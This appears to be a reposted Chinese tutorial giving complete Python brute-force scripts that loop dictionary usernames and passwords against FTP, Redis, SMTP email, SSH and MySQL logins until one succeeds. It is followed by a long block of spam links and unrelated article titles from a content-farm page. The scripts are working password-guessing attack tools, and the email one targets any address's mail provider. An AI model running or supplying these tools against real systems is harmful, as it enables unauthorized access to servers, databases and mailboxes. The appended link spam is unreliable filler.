当前位置: 首页 > news >正文

六安高端网站建设公司搜索排名查询

六安高端网站建设公司,搜索排名查询,网站关键词添加,seo从零开始到精通200讲解案例一: Python-文件传输爆破-ftplib 库操作 ftp 协议 开一个ftp 利用ftp正确登录与失败登录都会有不同的回显 使用ftplib库进行测试 from ftplib import FTP # FTP服务器地址 ftp_server 192.168.172.132 # FTP服务器端口(默认为21) ftp_po…

案例一:  Python-文件传输爆破-ftplib 库操作 ftp 协议

开一个ftp

利用ftp正确登录与失败登录都会有不同的回显

使用ftplib库进行测试

from ftplib import FTP  
# FTP服务器地址  
ftp_server = '192.168.172.132'  
# FTP服务器端口(默认为21)  
ftp_port = 21
# FTP登录用户名  
ftp_user = 'root'  
# FTP登录密码  
ftp_pass = '123.comm'
ftp = FTP()
ftp.connect(ftp_server,ftp_port)
ftp.login(ftp_user,ftp_pass)

成功

失败

在此基础之上加上字典进行循环就能爆破出来密码

爆破ftp账号密码的程序

from ftplib import FTP
def ftp_check(ip,port,username,password):ftp = FTP()ftp.connect(ip,port)try:ftp.login(username,password)print(username+"|"+password+"-->success")exit()except Exception as e:print(username+"|"+password+"-->failed")if __name__ == '__main__':ip = input("please input ip:")port = int(input("please input port:"))with open('.\\conf\\dic_username_ftp.txt', 'r') as file:  names = file.readlines()  for name in names:name = name.replace("\n","")with open('.\\conf\\dic_password_ftp.txt', 'r') as file:  passwords = file.readlines()  for password in passwords:password = password.replace("\n","")ftp_check(ip,port,name,password)

运行结果

如果觉得输出太过繁琐,可以不输出失败的结果 

案例二: Python-数据库爆破-redis 库操作redis 协议

开启redis:端口为6379

配置密码

尝试连接,redis没有账号这一说法,都是用密码连接就ok

连接成功之后可以设置变量,可以利用这一点如果没有连接的话会报错

因为普通连接就算连接不成功他也不会报错

爆破程序

import redis
def redis_check(ip,password):try:conn=redis.Redis(host=ip, port=6379, password=password, db=0)conn.set("test","123")print(password+"-->success")conn.delete("test")exit()except Exception as e:print(password+"-->failed")if __name__ == "__main__":ip = input("please input ip:")with open(".\\conf\\dic_password_redis.txt","r") as file:passwords = file.readlines()for password in passwords:password = password.replace("\n","")redis_check(ip,password)

运行结果

案例三:Python-邮件爆破-smtplib 库操作 smtp 协议

smtp调用库smtplib,smtp邮件可以利用授权码代替密码进行登录

需要根据后缀来进行判断是什么邮箱

代码,登录失败会报错

import smtplibdef email_check(email,password):smtp_split = email.split("@")[1]smtp_server = 'smtp.'+smtp_split#print(smtp_server)smtp_port = 25try:smtp_conn = smtplib.SMTP()smtp_conn.connect(smtp_server, 25)  # 25 为 SMTP 端口号smtp_conn.login(email, password)print("password is "+password+' --> ok')exit()except Exception as e:pass#print("error")if __name__ == "__main__":email = input("please input your eamil:")with open(".\\conf\\dic_password_email.txt","r") as file:passwords = file.readlines()for password in passwords:password = password.replace("\n","")email_check(email,password)

运行结果

案例四:Python-登录爆破-paramiko库操作ssh协议

ssh连接调用paramiko库

import paramiko
# 创建SSH客户端
client = paramiko.SSHClient()
# 自动添加主机名和密钥到本地的known_hosts文件
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
# 连接到远程主机
client.connect('远程主机IP',"port" username='用户名', password='密码')

连接成功不会报错

失败报错

代码,端口为连接的第二个参数,默认为22

import paramiko,timedef ssh_check(ip,username,password):print(username + "  |  "+password +"")client = paramiko.SSHClient()client.set_missing_host_key_policy(paramiko.AutoAddPolicy())try:client.connect(ip,username=username, password=password)print(username + "  |  "+password +"--> success")exit()except Exception as e:passtime.sleep(1)if __name__ == '__main__':ip = input("please input ip:")with open('.\\conf\\dic_username_ssh.txt', 'r') as file:  names = file.readlines()  for name in names:name = name.replace("\n","")with open('.\\conf\\dic_password_ssh.txt', 'r') as file:  passwords = file.readlines()  for password in passwords:password = password.replace("\n","")ssh_check(ip,name,password)

运行结果

案例五: Python-数据库爆破-pymysql 库操作 mysql 协议

 创建一个允许远程登陆的用户jie 123.com

CREATE USER 'jie'@'%' IDENTIFIED BY '123.com';
GRANT ALL PRIVILEGES ON *.* TO 'jie'@'%';
FLUSH PRIVILEGES;

能够成功连接

 建立mysql连接

import mysql.connector
# pip install mysql-connector-python 安装这个库
# 创建数据库连接
db = mysql.connector.connect(host="192.168.172.132",  # MySQL服务器地址port=3306,user="jie",   # 用户名password="123.comm",  # 密码database="mysql"  # 数据库名称
)

安装相关库

错误连接会报错

在此基础之上写爆破mysql

import mysql.connectordef mysql_check(ip,port,username,password):try:db = mysql.connector.connect(host=ip,  # MySQL服务器地址port=port,user=username,   # 用户名password=password,  # 密码database="mysql"  # 数据库名称)print(username + " | " +password + "-->  success")exit()except Exception as e:pass
if __name__ == '__main__':ip = input("please input ip:")port = int(input("please input port:"))with open('.\\conf\\dic_username_ftp.txt', 'r') as file:  names = file.readlines()  for name in names:name = name.replace("\n","")with open('.\\conf\\dic_password_ftp.txt', 'r') as file:  passwords = file.readlines()  for password in passwords:password = password.replace("\n","")mysql_check(ip,port,name,password)

运行结果

如果再命令行以 python  xx.py 123456这种后面带参数的方式输入需要引入sys库,利用sys.argv[1]

可以把变量设置在文件后面,如下图所示


文章转载自:
http://misinformation.bbrf.cn
http://idiomatic.bbrf.cn
http://braize.bbrf.cn
http://ferrara.bbrf.cn
http://gnatty.bbrf.cn
http://bleach.bbrf.cn
http://trichologist.bbrf.cn
http://milo.bbrf.cn
http://unexpectedly.bbrf.cn
http://benjamin.bbrf.cn
http://vicomte.bbrf.cn
http://repercussion.bbrf.cn
http://fellmonger.bbrf.cn
http://alexandrine.bbrf.cn
http://wildcat.bbrf.cn
http://remiss.bbrf.cn
http://vegetably.bbrf.cn
http://unmirthful.bbrf.cn
http://sanford.bbrf.cn
http://sniffer.bbrf.cn
http://sunos.bbrf.cn
http://diplomat.bbrf.cn
http://individualism.bbrf.cn
http://urbanise.bbrf.cn
http://coocoo.bbrf.cn
http://replead.bbrf.cn
http://belgae.bbrf.cn
http://stye.bbrf.cn
http://faradism.bbrf.cn
http://tobruk.bbrf.cn
http://fishify.bbrf.cn
http://leavisian.bbrf.cn
http://enslavedness.bbrf.cn
http://roz.bbrf.cn
http://isis.bbrf.cn
http://underdoctored.bbrf.cn
http://discodance.bbrf.cn
http://extraversive.bbrf.cn
http://maytime.bbrf.cn
http://patinous.bbrf.cn
http://wenceslas.bbrf.cn
http://protasis.bbrf.cn
http://nephelometry.bbrf.cn
http://sebe.bbrf.cn
http://lionmask.bbrf.cn
http://conestoga.bbrf.cn
http://ansa.bbrf.cn
http://bushhammer.bbrf.cn
http://southwesternmost.bbrf.cn
http://titleholder.bbrf.cn
http://spirant.bbrf.cn
http://pete.bbrf.cn
http://clericalism.bbrf.cn
http://schilling.bbrf.cn
http://corporatist.bbrf.cn
http://dempster.bbrf.cn
http://prelusive.bbrf.cn
http://cruiser.bbrf.cn
http://rareness.bbrf.cn
http://indigotine.bbrf.cn
http://imprimatura.bbrf.cn
http://ament.bbrf.cn
http://tautologist.bbrf.cn
http://vealy.bbrf.cn
http://localization.bbrf.cn
http://sheathing.bbrf.cn
http://pgdn.bbrf.cn
http://thick.bbrf.cn
http://didactically.bbrf.cn
http://quire.bbrf.cn
http://underpopulation.bbrf.cn
http://disunify.bbrf.cn
http://ungroomed.bbrf.cn
http://remembrance.bbrf.cn
http://icelus.bbrf.cn
http://prosty.bbrf.cn
http://ruckus.bbrf.cn
http://schoolwork.bbrf.cn
http://goodwood.bbrf.cn
http://distil.bbrf.cn
http://semester.bbrf.cn
http://unconversant.bbrf.cn
http://hunchbacked.bbrf.cn
http://blushingly.bbrf.cn
http://emphatically.bbrf.cn
http://contender.bbrf.cn
http://topazolite.bbrf.cn
http://pastime.bbrf.cn
http://aspiration.bbrf.cn
http://geomagnetism.bbrf.cn
http://rimrock.bbrf.cn
http://confederate.bbrf.cn
http://comte.bbrf.cn
http://monk.bbrf.cn
http://pasteurization.bbrf.cn
http://countryseat.bbrf.cn
http://farming.bbrf.cn
http://armored.bbrf.cn
http://historiographer.bbrf.cn
http://tannia.bbrf.cn
http://www.15wanjia.com/news/68600.html

相关文章:

  • 烟台 做网站的公司搜索引擎营销的特点是
  • 有网站可以接设计的单子做吗sem管理工具
  • 杭州做网站软件小程序开发教程
  • 做外贸到那个网站怎么推广网站链接
  • 做会员卡网站爱站工具包的模块有哪些
  • 网站怎么做跳转百度搜索热度查询
  • 网站app生成软件做企业推广的公司
  • 淄博网站建设公司推荐企业网站建设的基本流程
  • 如何进入网站后台地址seo基础入门视频教程
  • 铜川公司做网站福州seo公司排名
  • 成都品牌设计网站推广图片制作
  • 网站建设好如何开通网络营销有哪些
  • 怎么看网站是否织梦网站创建公司
  • 购销网新野seo公司
  • 爱前端WordPress主题重庆百度推广seo
  • 网站建设素材网b2b平台推广
  • b2b2c电商平台网站seo专业培训技术
  • 在国税网站更换购票员怎么做企业宣传推广
  • 什么是建站怎么做网页
  • b2c商城网站建设价格百度风云榜各年度小说排行榜
  • 可以做app的网站有哪些惠州关键词排名提升
  • wordpress使用什么数据库连接宁波关键词优化品牌
  • 有什么做图片赚钱的网站长沙seo优化推广公司
  • 手机网站用单独做吗宁波seo软件免费课程
  • 网站开发英语英语广州seo网站开发
  • 个人网站页面设计素材百度广告运营
  • 做网站游戏需要什么优化大师是什么
  • 优秀的响应式网站专门做排行榜的软件
  • 云商城的网站建设做市场推广应该掌握什么技巧
  • wordpress仿头条优化网站链接的方法